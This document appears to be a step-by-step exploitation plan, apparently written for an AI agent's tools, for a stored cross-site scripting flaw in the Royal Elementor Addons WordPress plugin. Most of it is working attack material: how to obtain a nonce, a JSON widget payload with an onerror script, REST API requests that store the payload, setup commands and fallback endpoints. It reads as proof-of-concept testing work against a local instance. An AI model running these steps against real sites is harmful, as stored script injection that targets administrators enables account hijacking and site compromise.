Royal Elementor Addons <= 1.7.1049 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API Meta Bypass

This plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Royal Elementor Addons via the button_text parameter, exploiting a REST API metadata bypass.

1. Vulnerability Summary

The Royal Elementor Addons plugin (versions <= 1.7.1049) fails to sanitize the button_text parameter used in several of its Elementor widgets. While WordPress typically prevents Contributors from using unfiltered HTML, the plugin's interaction with the Elementor page-saving process (via the REST API) allows a Contributor-level user to inject arbitrary JavaScript into widget settings. This script is then stored in the _elementor_data post meta and executed when any user, including an administrator, views the affected page.

2. Attack Vector Analysis

• Endpoint: WordPress REST API for Post Updates (/wp-json/wp/v2/posts/<ID>) or Elementor's internal REST endpoint (/wp-json/elementor/v1/editor/post-content).
• Vulnerable Parameter: button_text within the settings object of a Royal Addons widget (e.g., wpr-button, wpr-advanced-slider).
• Authentication: Authenticated with Contributor role or higher.
• Precondition: The Royal Elementor Addons plugin must be active, and a post must be created/editable by the Contributor.

3. Code Flow

1. Entry Point: A Contributor sends a REST API request to update the content or metadata of a post they authored.
2. Processing: Elementor processes the JSON-encoded _elementor_data which contains widget settings.
3. The Bypass: The plugin does not implement sufficient server-side sanitization for the button_text key when the Elementor data is saved.
4. Storage: The malicious payload is saved to the database in the wp_postmeta table under the _elementor_data key for that post.
5. Sink: When the post is rendered on the frontend, the render() method of the Royal Addons widget (e.g., in modules/button/widgets/wpr-button.php) outputs the button_text using a method that does not escape HTML (e.g., echo $settings['button_text'] or equivalent Elementor render_attribute).

4. Nonce Acquisition Strategy

To interact with the REST API, a valid _wpnonce is required in the X-WP-Nonce header.

1. Identify Trigger: The REST API nonce is typically localized in the wp-admin dashboard or the Elementor Editor.
2. Setup Page: Create a dummy post to gain access to the Elementor editor context.
   • Command: wp post create --post_type=post --post_status=publish --post_author=<CONTRIBUTOR_ID> --post_title="XSS Test"
3. Acquisition: Navigate to the WordPress dashboard as the Contributor.
4. Extraction: Use browser_eval to extract the nonce from the global wpApiSettings object.
   • browser_eval("wpApiSettings.nonce")

5. Exploitation Strategy

We will simulate the Elementor save process by sending a raw REST API request to update the _elementor_data meta of a post.

Step 1: Get Post ID
Find a post ID owned by the Contributor.

Step 2: Construct Payload
Create a JSON structure representing an Elementor page containing a Royal Addons Button widget with the XSS payload.

[
  {
    "id": "exploit-id",
    "elType": "section",
    "settings": [],
    "elements": [
      {
        "id": "column-id",
        "elType": "column",
        "settings": [],
        "elements": [
          {
            "id": "widget-id",
            "elType": "widget",
            "widgetType": "wpr-button",
            "settings": {
              "button_text": "<img src=x onerror=alert('CVE-2026-0664_XSS')>",
              "button_link": { "url": "#" }
            }
          }
        ]
      }
    ]
  }
]

Step 3: Send REST Request
Use the http_request tool to update the post.

• Method: POST
• URL: http://localhost:8080/wp-json/wp/v2/posts/<POST_ID>
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: <EXTRACTED_NONCE>
• Body:

{
  "meta": {
    "_elementor_data": "[JSON_PAYLOAD_STRING_HERE]",
    "_elementor_edit_mode": "builder"
  }
}

6. Test Data Setup

1. Install Plugin: Ensure royal-elementor-addons version 1.7.1049 is active.
2. User: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
3. Post: Create a post as the contributor.
   • wp post create --post_author=$(wp user get attacker --field=ID) --post_title="Vulnerable Page" --post_status=publish
4. Elementor Enable: Ensure Elementor is configured to allow editing of Posts and that Royal Addons widgets are enabled.

7. Expected Results

• The REST API should return a 200 OK response confirming the update.
• The _elementor_data meta for the post will contain the raw <img ...> tag.
• When an administrator navigates to the post's permalink, an alert box with CVE-2026-0664_XSS should appear.

8. Verification Steps

1. DB Check: Verify the payload is stored in the database.
   • wp post meta get <POST_ID> _elementor_data
2. Frontend Check: Fetch the post HTML and look for the unescaped payload.
   • http_request GET to the post URL.
   • Search for the string: <img src=x onerror=alert('CVE-2026-0664_XSS')> in the response body.

9. Alternative Approaches

If the wp/v2/posts endpoint refuses to update the _elementor_data meta directly (due to standard REST restrictions), target the Elementor-specific save endpoint:

• Endpoint: POST /wp-json/elementor/v1/editor/post-content/<POST_ID>
• Body Parameters: data (the JSON array) and status (publish).
• Headers: Requires X-WP-Nonce.

If the wpr-button widget is not available, try the wpr-advanced-slider widget using the button_text parameter within one of the slider items.